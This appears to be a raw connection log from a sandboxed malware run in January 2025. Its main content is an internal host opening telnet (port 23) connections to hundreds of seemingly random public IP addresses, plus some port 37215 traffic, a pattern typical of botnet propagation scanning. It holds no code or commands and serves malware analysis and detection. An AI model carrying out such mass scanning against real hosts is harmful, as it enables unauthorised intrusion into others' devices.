Jan 5, 2025 14:26:53.662491083 CET	57214	23	192.168.2.13	187.10.87.170
Jan 5, 2025 14:26:53.662492037 CET	57214	23	192.168.2.13	102.175.163.175
Jan 5, 2025 14:26:53.662492990 CET	57214	23	192.168.2.13	113.25.204.82
Jan 5, 2025 14:26:53.662492990 CET	57214	23	192.168.2.13	97.79.194.184
Jan 5, 2025 14:26:53.662497044 CET	57214	23	192.168.2.13	75.12.118.198
Jan 5, 2025 14:26:53.662497044 CET	57214	23	192.168.2.13	156.31.89.243
Jan 5, 2025 14:26:53.662498951 CET	57214	23	192.168.2.13	171.181.152.19
Jan 5, 2025 14:26:53.662501097 CET	57214	23	192.168.2.13	40.4.69.141
Jan 5, 2025 14:26:53.662518024 CET	57214	23	192.168.2.13	62.35.20.32
Jan 5, 2025 14:26:53.662528992 CET	57214	23	192.168.2.13	148.89.38.233
Jan 5, 2025 14:26:53.662530899 CET	57214	23	192.168.2.13	41.210.41.68
Jan 5, 2025 14:26:53.662532091 CET	57214	23	192.168.2.13	211.16.194.232
Jan 5, 2025 14:26:53.662533998 CET	57214	23	192.168.2.13	217.211.227.23
Jan 5, 2025 14:26:53.662542105 CET	57214	23	192.168.2.13	51.126.186.240
Jan 5, 2025 14:26:53.662554979 CET	57214	23	192.168.2.13	115.251.83.117
Jan 5, 2025 14:26:53.662556887 CET	57214	23	192.168.2.13	57.28.149.238
Jan 5, 2025 14:26:53.662558079 CET	57214	23	192.168.2.13	64.201.92.223
Jan 5, 2025 14:26:53.662564993 CET	57214	23	192.168.2.13	164.226.248.123
Jan 5, 2025 14:26:53.662568092 CET	37215	53876	197.7.160.89	192.168.2.13
Jan 5, 2025 14:26:53.662579060 CET	57214	23	192.168.2.13	147.126.122.23
Jan 5, 2025 14:26:53.662579060 CET	57214	23	192.168.2.13	201.191.23.108
Jan 5, 2025 14:26:53.662584066 CET	57214	23	192.168.2.13	52.157.185.50
Jan 5, 2025 14:26:53.662586927 CET	57214	23	192.168.2.13	129.62.118.7
Jan 5, 2025 14:26:53.662602901 CET	53876	37215	192.168.2.13	197.7.160.89
Jan 5, 2025 14:26:53.662615061 CET	57214	23	192.168.2.13	60.226.30.144
Jan 5, 2025 14:26:53.662615061 CET	57214	23	192.168.2.13	144.85.16.129
Jan 5, 2025 14:26:53.662615061 CET	57214	23	192.168.2.13	158.120.53.12
Jan 5, 2025 14:26:53.662620068 CET	57214	23	192.168.2.13	167.171.220.192
Jan 5, 2025 14:26:53.662623882 CET	57214	23	192.168.2.13	24.36.205.56
Jan 5, 2025 14:26:53.662623882 CET	57214	23	192.168.2.13	181.224.201.212
Jan 5, 2025 14:26:53.662623882 CET	57214	23	192.168.2.13	198.140.208.179
Jan 5, 2025 14:26:53.662635088 CET	57214	23	192.168.2.13	79.118.23.2
Jan 5, 2025 14:26:53.662641048 CET	57214	23	192.168.2.13	136.211.176.157
Jan 5, 2025 14:26:53.662645102 CET	57214	23	192.168.2.13	82.25.61.241
Jan 5, 2025 14:26:53.662646055 CET	57214	23	192.168.2.13	124.126.99.153
Jan 5, 2025 14:26:53.662646055 CET	57214	23	192.168.2.13	164.111.133.144
Jan 5, 2025 14:26:53.662651062 CET	57214	23	192.168.2.13	135.70.109.167
Jan 5, 2025 14:26:53.662657976 CET	57214	23	192.168.2.13	211.190.253.85
Jan 5, 2025 14:26:53.662674904 CET	57214	23	192.168.2.13	213.126.33.77
Jan 5, 2025 14:26:53.662681103 CET	57214	23	192.168.2.13	155.116.149.70
Jan 5, 2025 14:26:53.662681103 CET	57214	23	192.168.2.13	98.143.31.39
Jan 5, 2025 14:26:53.662683964 CET	57214	23	192.168.2.13	83.51.106.103
Jan 5, 2025 14:26:53.662683964 CET	57214	23	192.168.2.13	91.20.171.234
Jan 5, 2025 14:26:53.662688971 CET	57214	23	192.168.2.13	17.196.117.213
Jan 5, 2025 14:26:53.662703991 CET	57214	23	192.168.2.13	46.34.54.100
Jan 5, 2025 14:26:53.662704945 CET	57214	23	192.168.2.13	197.15.130.209
Jan 5, 2025 14:26:53.662718058 CET	57214	23	192.168.2.13	203.189.251.185
Jan 5, 2025 14:26:53.662719965 CET	57214	23	192.168.2.13	166.193.69.150
Jan 5, 2025 14:26:53.662720919 CET	57214	23	192.168.2.13	95.183.11.178
Jan 5, 2025 14:26:53.662734985 CET	57214	23	192.168.2.13	139.96.54.208
Jan 5, 2025 14:26:53.662734985 CET	57214	23	192.168.2.13	185.73.86.35
Jan 5, 2025 14:26:53.662750959 CET	57214	23	192.168.2.13	196.72.241.171
Jan 5, 2025 14:26:53.662753105 CET	57214	23	192.168.2.13	204.235.54.97
Jan 5, 2025 14:26:53.662756920 CET	57214	23	192.168.2.13	147.3.33.30
Jan 5, 2025 14:26:53.662756920 CET	57214	23	192.168.2.13	59.190.186.251
Jan 5, 2025 14:26:53.662756920 CET	57214	23	192.168.2.13	93.187.101.96
Jan 5, 2025 14:26:53.662759066 CET	57214	23	192.168.2.13	201.66.191.91
Jan 5, 2025 14:26:53.662770987 CET	57214	23	192.168.2.13	19.135.123.72
Jan 5, 2025 14:26:53.662780046 CET	57214	23	192.168.2.13	62.116.115.105
Jan 5, 2025 14:26:53.662781954 CET	57214	23	192.168.2.13	70.254.62.179
Jan 5, 2025 14:26:53.662790060 CET	57214	23	192.168.2.13	147.248.4.87
Jan 5, 2025 14:26:53.662791014 CET	57214	23	192.168.2.13	156.24.74.249
Jan 5, 2025 14:26:53.662791014 CET	57214	23	192.168.2.13	67.98.98.37
Jan 5, 2025 14:26:53.662797928 CET	57214	23	192.168.2.13	209.129.120.36
Jan 5, 2025 14:26:53.662806034 CET	57214	23	192.168.2.13	170.215.162.78
Jan 5, 2025 14:26:53.662821054 CET	57214	23	192.168.2.13	87.41.39.237
Jan 5, 2025 14:26:53.662822008 CET	57214	23	192.168.2.13	57.223.41.220
Jan 5, 2025 14:26:53.662822008 CET	57214	23	192.168.2.13	221.30.5.27
Jan 5, 2025 14:26:53.662823915 CET	57214	23	192.168.2.13	213.251.195.105
Jan 5, 2025 14:26:53.662837029 CET	57214	23	192.168.2.13	112.242.162.104
Jan 5, 2025 14:26:53.662843943 CET	57214	23	192.168.2.13	46.56.71.249
Jan 5, 2025 14:26:53.662852049 CET	57214	23	192.168.2.13	93.170.203.115
Jan 5, 2025 14:26:53.662853956 CET	57214	23	192.168.2.13	219.20.230.95
Jan 5, 2025 14:26:53.662857056 CET	57214	23	192.168.2.13	180.233.150.169
Jan 5, 2025 14:26:53.662862062 CET	57214	23	192.168.2.13	158.17.80.42
Jan 5, 2025 14:26:53.662872076 CET	57214	23	192.168.2.13	157.19.34.248
Jan 5, 2025 14:26:53.662873030 CET	57214	23	192.168.2.13	49.244.2.39
Jan 5, 2025 14:26:53.662873030 CET	57214	23	192.168.2.13	209.110.131.227
Jan 5, 2025 14:26:53.662889957 CET	57214	23	192.168.2.13	162.136.138.191
Jan 5, 2025 14:26:53.662890911 CET	57214	23	192.168.2.13	150.23.30.229
Jan 5, 2025 14:26:53.662892103 CET	57214	23	192.168.2.13	203.80.122.91
Jan 5, 2025 14:26:53.662892103 CET	57214	23	192.168.2.13	58.169.147.47
Jan 5, 2025 14:26:53.662905931 CET	57214	23	192.168.2.13	187.74.89.164
Jan 5, 2025 14:26:53.662909031 CET	57214	23	192.168.2.13	136.71.80.9
Jan 5, 2025 14:26:53.662914991 CET	57214	23	192.168.2.13	110.214.239.109
Jan 5, 2025 14:26:53.662923098 CET	57214	23	192.168.2.13	31.13.64.60
Jan 5, 2025 14:26:53.662931919 CET	57214	23	192.168.2.13	92.40.124.154
Jan 5, 2025 14:26:53.662931919 CET	57214	23	192.168.2.13	97.102.145.42
Jan 5, 2025 14:26:53.662931919 CET	57214	23	192.168.2.13	48.209.140.80
Jan 5, 2025 14:26:53.662935019 CET	57214	23	192.168.2.13	62.64.206.104
Jan 5, 2025 14:26:53.662941933 CET	57214	23	192.168.2.13	20.73.143.215
Jan 5, 2025 14:26:53.662947893 CET	57214	23	192.168.2.13	211.62.237.123
Jan 5, 2025 14:26:53.662956953 CET	57214	23	192.168.2.13	190.32.103.225
Jan 5, 2025 14:26:53.662966013 CET	57214	23	192.168.2.13	82.71.158.80
Jan 5, 2025 14:26:53.662972927 CET	57214	23	192.168.2.13	107.213.51.172
Jan 5, 2025 14:26:53.662978888 CET	57214	23	192.168.2.13	126.231.204.243
Jan 5, 2025 14:26:53.662987947 CET	57214	23	192.168.2.13	58.249.156.254
Jan 5, 2025 14:26:53.662993908 CET	57214	23	192.168.2.13	184.171.198.111
Jan 5, 2025 14:26:53.663005114 CET	57214	23	192.168.2.13	81.138.191.252
Jan 5, 2025 14:26:53.663011074 CET	57214	23	192.168.2.13	82.221.113.169
Jan 5, 2025 14:26:53.663013935 CET	57214	23	192.168.2.13	152.247.125.134
Jan 5, 2025 14:26:53.663031101 CET	57214	23	192.168.2.13	9.42.67.188
Jan 5, 2025 14:26:53.663031101 CET	57214	23	192.168.2.13	120.119.70.211
Jan 5, 2025 14:26:53.663036108 CET	57214	23	192.168.2.13	101.30.122.125
Jan 5, 2025 14:26:53.663047075 CET	57214	23	192.168.2.13	168.97.109.13
Jan 5, 2025 14:26:53.663047075 CET	57214	23	192.168.2.13	171.229.181.253
Jan 5, 2025 14:26:53.663049936 CET	57214	23	192.168.2.13	117.6.117.126
Jan 5, 2025 14:26:53.663053036 CET	57214	23	192.168.2.13	168.133.169.116
Jan 5, 2025 14:26:53.663064957 CET	57214	23	192.168.2.13	69.137.89.98
Jan 5, 2025 14:26:53.663072109 CET	57214	23	192.168.2.13	149.44.214.234
Jan 5, 2025 14:26:53.663081884 CET	57214	23	192.168.2.13	200.191.229.187
Jan 5, 2025 14:26:53.663086891 CET	57214	23	192.168.2.13	160.124.38.34
Jan 5, 2025 14:26:53.663090944 CET	57214	23	192.168.2.13	153.145.90.97
Jan 5, 2025 14:26:53.663091898 CET	57214	23	192.168.2.13	12.2.87.48
Jan 5, 2025 14:26:53.663091898 CET	57214	23	192.168.2.13	74.229.182.201
Jan 5, 2025 14:26:53.663093090 CET	57214	23	192.168.2.13	188.214.135.96
Jan 5, 2025 14:26:53.663099051 CET	57214	23	192.168.2.13	105.13.102.75
Jan 5, 2025 14:26:53.663110018 CET	57214	23	192.168.2.13	146.17.49.38
Jan 5, 2025 14:26:53.663110971 CET	57214	23	192.168.2.13	50.210.111.68
Jan 5, 2025 14:26:53.663114071 CET	57214	23	192.168.2.13	191.110.223.7
Jan 5, 2025 14:26:53.663127899 CET	57214	23	192.168.2.13	173.139.46.232
Jan 5, 2025 14:26:53.663129091 CET	57214	23	192.168.2.13	192.83.53.247
Jan 5, 2025 14:26:53.663131952 CET	57214	23	192.168.2.13	72.228.219.186
Jan 5, 2025 14:26:53.663146019 CET	57214	23	192.168.2.13	14.235.189.53
Jan 5, 2025 14:26:53.663151979 CET	57214	23	192.168.2.13	124.127.153.229
Jan 5, 2025 14:26:53.663163900 CET	57214	23	192.168.2.13	217.139.174.150
Jan 5, 2025 14:26:53.663165092 CET	57214	23	192.168.2.13	192.143.181.222
Jan 5, 2025 14:26:53.663168907 CET	57214	23	192.168.2.13	108.83.6.162
Jan 5, 2025 14:26:53.663187027 CET	57214	23	192.168.2.13	9.144.8.253
Jan 5, 2025 14:26:53.663187981 CET	57214	23	192.168.2.13	93.187.58.140
Jan 5, 2025 14:26:53.663187981 CET	57214	23	192.168.2.13	76.233.205.68
Jan 5, 2025 14:26:53.663188934 CET	57214	23	192.168.2.13	54.151.14.203
Jan 5, 2025 14:26:53.663188934 CET	57214	23	192.168.2.13	171.176.124.119
Jan 5, 2025 14:26:53.663204908 CET	57214	23	192.168.2.13	106.88.15.232
Jan 5, 2025 14:26:53.663207054 CET	57214	23	192.168.2.13	24.213.118.191
Jan 5, 2025 14:26:53.663208961 CET	57214	23	192.168.2.13	38.185.57.115
Jan 5, 2025 14:26:53.663208961 CET	57214	23	192.168.2.13	140.193.23.56
Jan 5, 2025 14:26:53.663209915 CET	57214	23	192.168.2.13	74.169.215.163
Jan 5, 2025 14:26:53.663209915 CET	57214	23	192.168.2.13	173.235.100.199
Jan 5, 2025 14:26:53.663212061 CET	57214	23	192.168.2.13	81.245.55.10
Jan 5, 2025 14:26:53.663223028 CET	57214	23	192.168.2.13	210.132.164.166
Jan 5, 2025 14:26:53.663223028 CET	57214	23	192.168.2.13	59.253.240.238
Jan 5, 2025 14:26:53.663224936 CET	57214	23	192.168.2.13	123.219.206.209
Jan 5, 2025 14:26:53.663234949 CET	57214	23	192.168.2.13	117.221.72.57
Jan 5, 2025 14:26:53.663247108 CET	57214	23	192.168.2.13	123.1.55.14
Jan 5, 2025 14:26:53.663247108 CET	57214	23	192.168.2.13	196.105.41.214
Jan 5, 2025 14:26:53.663260937 CET	57214	23	192.168.2.13	142.138.91.100
Jan 5, 2025 14:26:53.663264036 CET	57214	23	192.168.2.13	38.151.34.150
Jan 5, 2025 14:26:53.663274050 CET	57214	23	192.168.2.13	175.33.40.154
Jan 5, 2025 14:26:53.663278103 CET	57214	23	192.168.2.13	36.1.27.209
Jan 5, 2025 14:26:53.663280010 CET	57214	23	192.168.2.13	126.177.19.214
Jan 5, 2025 14:26:53.663280010 CET	57214	23	192.168.2.13	206.89.122.197
Jan 5, 2025 14:26:53.663292885 CET	57214	23	192.168.2.13	123.106.2.112
Jan 5, 2025 14:26:53.663295984 CET	57214	23	192.168.2.13	38.55.164.187
Jan 5, 2025 14:26:53.663302898 CET	57214	23	192.168.2.13	208.231.227.160
Jan 5, 2025 14:26:53.663319111 CET	57214	23	192.168.2.13	101.210.13.9
Jan 5, 2025 14:26:53.663327932 CET	57214	23	192.168.2.13	212.124.29.253
Jan 5, 2025 14:26:53.663331032 CET	57214	23	192.168.2.13	200.200.195.171
Jan 5, 2025 14:26:53.663331032 CET	57214	23	192.168.2.13	120.24.182.87
Jan 5, 2025 14:26:53.663360119 CET	57214	23	192.168.2.13	86.182.14.177
Jan 5, 2025 14:26:53.663360119 CET	57214	23	192.168.2.13	86.20.208.206
Jan 5, 2025 14:26:53.663361073 CET	57214	23	192.168.2.13	104.34.145.98
Jan 5, 2025 14:26:53.663361073 CET	57214	23	192.168.2.13	165.143.170.195
Jan 5, 2025 14:26:53.663381100 CET	57214	23	192.168.2.13	37.107.61.103
Jan 5, 2025 14:26:53.663383007 CET	57214	23	192.168.2.13	95.173.147.207
Jan 5, 2025 14:26:53.663383007 CET	57214	23	192.168.2.13	187.30.7.152
Jan 5, 2025 14:26:53.663383961 CET	57214	23	192.168.2.13	194.224.151.90
Jan 5, 2025 14:26:53.663383961 CET	57214	23	192.168.2.13	36.5.203.151
Jan 5, 2025 14:26:53.663393021 CET	57214	23	192.168.2.13	181.219.155.206
Jan 5, 2025 14:26:53.663393974 CET	57214	23	192.168.2.13	221.225.217.57
Jan 5, 2025 14:26:53.663400888 CET	57214	23	192.168.2.13	13.115.159.127
Jan 5, 2025 14:26:53.663414001 CET	57214	23	192.168.2.13	39.140.194.239
Jan 5, 2025 14:26:53.663414955 CET	57214	23	192.168.2.13	9.233.197.23
Jan 5, 2025 14:26:53.663417101 CET	57214	23	192.168.2.13	31.187.221.222
Jan 5, 2025 14:26:53.663419962 CET	57214	23	192.168.2.13	111.12.81.139
Jan 5, 2025 14:26:53.663423061 CET	57214	23	192.168.2.13	221.105.240.10
Jan 5, 2025 14:26:53.663434982 CET	57214	23	192.168.2.13	213.115.95.49
Jan 5, 2025 14:26:53.663435936 CET	57214	23	192.168.2.13	23.184.44.160
Jan 5, 2025 14:26:53.663441896 CET	57214	23	192.168.2.13	199.115.150.41
Jan 5, 2025 14:26:53.663444042 CET	57214	23	192.168.2.13	197.75.66.25
Jan 5, 2025 14:26:53.663480043 CET	57214	23	192.168.2.13	221.224.96.9
Jan 5, 2025 14:26:53.663480997 CET	57214	23	192.168.2.13	148.175.48.185
Jan 5, 2025 14:26:53.663480043 CET	57214	23	192.168.2.13	164.205.38.94
Jan 5, 2025 14:26:53.663481951 CET	57214	23	192.168.2.13	81.156.232.139
Jan 5, 2025 14:26:53.663482904 CET	57214	23	192.168.2.13	205.62.247.1
Jan 5, 2025 14:26:53.663482904 CET	57214	23	192.168.2.13	53.9.83.97
Jan 5, 2025 14:26:53.663486958 CET	57214	23	192.168.2.13	201.199.80.44
Jan 5, 2025 14:26:53.663489103 CET	57214	23	192.168.2.13	147.206.145.223
Jan 5, 2025 14:26:53.663490057 CET	57214	23	192.168.2.13	9.119.202.39
Jan 5, 2025 14:26:53.663491011 CET	57214	23	192.168.2.13	154.166.234.55
Jan 5, 2025 14:26:53.663491011 CET	57214	23	192.168.2.13	104.7.66.195
Jan 5, 2025 14:26:53.663499117 CET	57214	23	192.168.2.13	36.17.213.178
Jan 5, 2025 14:26:53.663500071 CET	57214	23	192.168.2.13	149.70.191.169
Jan 5, 2025 14:26:53.663501024 CET	57214	23	192.168.2.13	42.136.55.100
Jan 5, 2025 14:26:53.663501024 CET	57214	23	192.168.2.13	79.199.92.226
Jan 5, 2025 14:26:53.663501024 CET	57214	23	192.168.2.13	131.242.54.164
Jan 5, 2025 14:26:53.663501024 CET	57214	23	192.168.2.13	159.222.226.136
Jan 5, 2025 14:26:53.663508892 CET	57214	23	192.168.2.13	117.251.247.244
Jan 5, 2025 14:26:53.663522005 CET	57214	23	192.168.2.13	217.121.236.232
Jan 5, 2025 14:26:53.663522959 CET	57214	23	192.168.2.13	161.0.232.173
Jan 5, 2025 14:26:53.663544893 CET	57214	23	192.168.2.13	78.87.68.2
Jan 5, 2025 14:26:53.663546085 CET	57214	23	192.168.2.13	195.231.76.114
Jan 5, 2025 14:26:53.663554907 CET	57214	23	192.168.2.13	123.170.72.197
Jan 5, 2025 14:26:53.663561106 CET	57214	23	192.168.2.13	216.56.91.208
Jan 5, 2025 14:26:53.663562059 CET	57214	23	192.168.2.13	148.129.96.47
Jan 5, 2025 14:26:53.663561106 CET	57214	23	192.168.2.13	223.21.151.6
Jan 5, 2025 14:26:53.663561106 CET	57214	23	192.168.2.13	152.72.85.139
Jan 5, 2025 14:26:53.663594007 CET	57214	23	192.168.2.13	136.237.6.26
Jan 5, 2025 14:26:53.663594961 CET	57214	23	192.168.2.13	166.120.149.154
Jan 5, 2025 14:26:53.663598061 CET	57214	23	192.168.2.13	85.247.250.44
Jan 5, 2025 14:26:53.663599968 CET	57214	23	192.168.2.13	195.167.130.176
Jan 5, 2025 14:26:53.663604975 CET	57214	23	192.168.2.13	62.118.73.82
Jan 5, 2025 14:26:53.663604975 CET	57214	23	192.168.2.13	169.5.33.110
Jan 5, 2025 14:26:53.663606882 CET	57214	23	192.168.2.13	190.115.220.25
Jan 5, 2025 14:26:53.663609028 CET	57214	23	192.168.2.13	159.91.228.21
Jan 5, 2025 14:26:53.663609982 CET	57214	23	192.168.2.13	101.52.21.58
Jan 5, 2025 14:26:53.663609982 CET	57214	23	192.168.2.13	69.254.30.88
Jan 5, 2025 14:26:53.663615942 CET	57214	23	192.168.2.13	160.36.57.230
Jan 5, 2025 14:26:53.663616896 CET	57214	23	192.168.2.13	5.104.4.124
Jan 5, 2025 14:26:53.663618088 CET	57214	23	192.168.2.13	167.253.175.63
Jan 5, 2025 14:26:53.663624048 CET	57214	23	192.168.2.13	83.50.231.150
Jan 5, 2025 14:26:53.663625002 CET	57214	23	192.168.2.13	121.118.25.143
Jan 5, 2025 14:26:53.663625956 CET	57214	23	192.168.2.13	77.195.98.122
Jan 5, 2025 14:26:53.663625002 CET	57214	23	192.168.2.13	87.164.226.187
Jan 5, 2025 14:26:53.663628101 CET	57214	23	192.168.2.13	145.73.167.124
Jan 5, 2025 14:26:53.663641930 CET	57214	23	192.168.2.13	208.213.26.163
Jan 5, 2025 14:26:53.666568041 CET	23	57214	65.22.62.61	192.168.2.13
Jan 5, 2025 14:26:53.666611910 CET	57214	23	192.168.2.13	65.22.62.61
Jan 5, 2025 14:26:53.704834938 CET	37215	53872	197.7.160.89	192.168.2.13
Jan 5, 2025 14:26:54.437566042 CET	23	51872	194.18.196.49	192.168.2.13
Jan 5, 2025 14:26:54.437798023 CET	52090	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:26:54.437798023 CET	57214	23	192.168.2.13	212.63.251.196
Jan 5, 2025 14:26:54.437828064 CET	57214	23	192.168.2.13	12.43.20.66
Jan 5, 2025 14:26:54.437829018 CET	57214	23	192.168.2.13	94.188.255.235
Jan 5, 2025 14:26:54.437828064 CET	57214	23	192.168.2.13	164.175.88.102
Jan 5, 2025 14:26:54.437828064 CET	57214	23	192.168.2.13	31.54.25.47
Jan 5, 2025 14:26:54.437828064 CET	57214	23	192.168.2.13	49.42.161.80
Jan 5, 2025 14:26:54.437829018 CET	57214	23	192.168.2.13	217.162.140.167
Jan 5, 2025 14:26:54.437828064 CET	57214	23	192.168.2.13	217.106.60.129
Jan 5, 2025 14:26:54.437829018 CET	57214	23	192.168.2.13	148.114.135.146
Jan 5, 2025 14:26:54.437829018 CET	57214	23	192.168.2.13	39.240.25.222
Jan 5, 2025 14:26:54.437832117 CET	57214	23	192.168.2.13	102.82.51.20
Jan 5, 2025 14:26:54.437829018 CET	57214	23	192.168.2.13	80.128.206.14
Jan 5, 2025 14:26:54.437832117 CET	57214	23	192.168.2.13	154.107.36.15
Jan 5, 2025 14:26:54.437829018 CET	57214	23	192.168.2.13	146.136.15.213
Jan 5, 2025 14:26:54.437830925 CET	57214	23	192.168.2.13	53.239.176.102
Jan 5, 2025 14:26:54.437833071 CET	57214	23	192.168.2.13	110.166.236.215
Jan 5, 2025 14:26:54.437830925 CET	57214	23	192.168.2.13	136.31.118.146
Jan 5, 2025 14:26:54.437833071 CET	57214	23	192.168.2.13	39.77.179.203
Jan 5, 2025 14:26:54.437830925 CET	57214	23	192.168.2.13	45.207.199.65
Jan 5, 2025 14:26:54.437830925 CET	57214	23	192.168.2.13	103.77.152.64
Jan 5, 2025 14:26:54.437834978 CET	57214	23	192.168.2.13	150.194.204.234
Jan 5, 2025 14:26:54.437832117 CET	57214	23	192.168.2.13	31.149.193.215
Jan 5, 2025 14:26:54.437834024 CET	57214	23	192.168.2.13	109.92.174.66
Jan 5, 2025 14:26:54.437834978 CET	57214	23	192.168.2.13	195.211.231.55
Jan 5, 2025 14:26:54.437834978 CET	57214	23	192.168.2.13	34.217.220.89
Jan 5, 2025 14:26:54.437834978 CET	57214	23	192.168.2.13	205.92.19.79
Jan 5, 2025 14:26:54.437834978 CET	57214	23	192.168.2.13	153.110.168.80
Jan 5, 2025 14:26:54.437832117 CET	57214	23	192.168.2.13	34.58.82.188
Jan 5, 2025 14:26:54.437834978 CET	57214	23	192.168.2.13	123.64.245.216
Jan 5, 2025 14:26:54.437833071 CET	57214	23	192.168.2.13	188.133.61.110
Jan 5, 2025 14:26:54.437834978 CET	57214	23	192.168.2.13	177.173.63.125
Jan 5, 2025 14:26:54.437834978 CET	57214	23	192.168.2.13	105.203.212.73
Jan 5, 2025 14:26:54.437833071 CET	57214	23	192.168.2.13	166.105.75.245
Jan 5, 2025 14:26:54.437834978 CET	57214	23	192.168.2.13	73.51.24.44
Jan 5, 2025 14:26:54.437886953 CET	57214	23	192.168.2.13	136.178.84.145
Jan 5, 2025 14:26:54.437886953 CET	57214	23	192.168.2.13	23.172.133.179
Jan 5, 2025 14:26:54.437886953 CET	57214	23	192.168.2.13	143.98.2.216
Jan 5, 2025 14:26:54.437886953 CET	57214	23	192.168.2.13	41.194.41.53
Jan 5, 2025 14:26:54.437886953 CET	57214	23	192.168.2.13	39.125.74.121
Jan 5, 2025 14:26:54.437886953 CET	57214	23	192.168.2.13	154.191.162.43
Jan 5, 2025 14:26:54.437890053 CET	51872	23	192.168.2.13	194.18.196.49
Jan 5, 2025 14:26:54.437890053 CET	57214	23	192.168.2.13	67.120.182.49
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	34.113.221.76
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	160.247.62.57
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	47.147.97.20
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	20.241.94.156
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	103.255.119.237
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	67.31.108.92
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	24.199.77.104
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	128.131.101.154
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	197.218.162.133
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	27.247.196.99
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	191.173.94.100
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	153.82.121.246
Jan 5, 2025 14:26:54.437891006 CET	57214	23	192.168.2.13	48.180.106.184
Jan 5, 2025 14:26:54.437891960 CET	57214	23	192.168.2.13	80.60.129.22
Jan 5, 2025 14:26:54.437911987 CET	57214	23	192.168.2.13	120.161.233.254
Jan 5, 2025 14:26:54.437911987 CET	57214	23	192.168.2.13	194.244.150.1
Jan 5, 2025 14:26:54.437911987 CET	57214	23	192.168.2.13	84.56.144.139
Jan 5, 2025 14:26:54.437911987 CET	57214	23	192.168.2.13	165.123.11.33
Jan 5, 2025 14:26:54.437911987 CET	57214	23	192.168.2.13	130.151.234.42
Jan 5, 2025 14:26:54.437911987 CET	57214	23	192.168.2.13	116.205.197.55
Jan 5, 2025 14:26:54.437911987 CET	57214	23	192.168.2.13	211.35.1.190
Jan 5, 2025 14:26:54.437911987 CET	57214	23	192.168.2.13	45.245.219.222
Jan 5, 2025 14:26:54.437927961 CET	57214	23	192.168.2.13	197.175.113.66
Jan 5, 2025 14:26:54.437927961 CET	57214	23	192.168.2.13	92.154.38.160
Jan 5, 2025 14:26:54.437927961 CET	57214	23	192.168.2.13	110.60.219.54
Jan 5, 2025 14:26:54.437927961 CET	57214	23	192.168.2.13	58.2.249.68
Jan 5, 2025 14:26:54.437927961 CET	57214	23	192.168.2.13	129.177.43.41
Jan 5, 2025 14:26:54.437927961 CET	57214	23	192.168.2.13	83.164.91.185
Jan 5, 2025 14:26:54.437927961 CET	57214	23	192.168.2.13	221.89.55.203
Jan 5, 2025 14:26:54.437927961 CET	57214	23	192.168.2.13	75.102.191.85
Jan 5, 2025 14:26:54.437931061 CET	57214	23	192.168.2.13	141.91.95.118
Jan 5, 2025 14:26:54.437931061 CET	57214	23	192.168.2.13	105.17.124.215
Jan 5, 2025 14:26:54.437931061 CET	57214	23	192.168.2.13	120.190.97.175
Jan 5, 2025 14:26:54.437931061 CET	57214	23	192.168.2.13	184.48.162.221
Jan 5, 2025 14:26:54.437931061 CET	57214	23	192.168.2.13	44.165.57.119
Jan 5, 2025 14:26:54.437931061 CET	57214	23	192.168.2.13	69.121.8.31
Jan 5, 2025 14:26:54.437931061 CET	57214	23	192.168.2.13	67.21.254.132
Jan 5, 2025 14:26:54.437931061 CET	57214	23	192.168.2.13	100.207.101.1
Jan 5, 2025 14:26:54.437944889 CET	57214	23	192.168.2.13	142.177.37.68
Jan 5, 2025 14:26:54.437944889 CET	57214	23	192.168.2.13	71.213.40.43
Jan 5, 2025 14:26:54.437946081 CET	57214	23	192.168.2.13	14.210.184.210
Jan 5, 2025 14:26:54.437946081 CET	57214	23	192.168.2.13	195.21.0.26
Jan 5, 2025 14:26:54.437946081 CET	57214	23	192.168.2.13	75.209.97.134
Jan 5, 2025 14:26:54.437946081 CET	57214	23	192.168.2.13	181.47.232.121
Jan 5, 2025 14:26:54.437946081 CET	57214	23	192.168.2.13	197.183.226.234
Jan 5, 2025 14:26:54.437946081 CET	57214	23	192.168.2.13	66.247.25.47
Jan 5, 2025 14:26:54.437947989 CET	57214	23	192.168.2.13	123.66.175.146
Jan 5, 2025 14:26:54.437947989 CET	57214	23	192.168.2.13	168.152.205.215
Jan 5, 2025 14:26:54.437947989 CET	57214	23	192.168.2.13	144.233.211.92
Jan 5, 2025 14:26:54.437947989 CET	57214	23	192.168.2.13	36.161.246.156
Jan 5, 2025 14:26:54.437947989 CET	57214	23	192.168.2.13	49.233.51.50
Jan 5, 2025 14:26:54.437947989 CET	57214	23	192.168.2.13	167.122.247.164
Jan 5, 2025 14:26:54.437947989 CET	57214	23	192.168.2.13	104.58.180.57
Jan 5, 2025 14:26:54.437947989 CET	57214	23	192.168.2.13	222.2.204.151
Jan 5, 2025 14:26:54.437949896 CET	57214	23	192.168.2.13	95.1.21.33
Jan 5, 2025 14:26:54.437949896 CET	57214	23	192.168.2.13	117.216.244.186
Jan 5, 2025 14:26:54.437949896 CET	57214	23	192.168.2.13	85.44.24.245
Jan 5, 2025 14:26:54.437949896 CET	57214	23	192.168.2.13	122.124.109.38
Jan 5, 2025 14:26:54.437949896 CET	57214	23	192.168.2.13	178.61.201.176
Jan 5, 2025 14:26:54.437949896 CET	57214	23	192.168.2.13	24.14.94.43
Jan 5, 2025 14:26:54.437949896 CET	57214	23	192.168.2.13	123.117.46.211
Jan 5, 2025 14:26:54.437959909 CET	57214	23	192.168.2.13	62.43.77.125
Jan 5, 2025 14:26:54.437959909 CET	57214	23	192.168.2.13	46.21.231.250
Jan 5, 2025 14:26:54.437963009 CET	57214	23	192.168.2.13	107.242.128.174
Jan 5, 2025 14:26:54.437963009 CET	57214	23	192.168.2.13	142.207.0.15
Jan 5, 2025 14:26:54.437963009 CET	57214	23	192.168.2.13	163.225.88.231
Jan 5, 2025 14:26:54.437963009 CET	57214	23	192.168.2.13	20.16.45.53
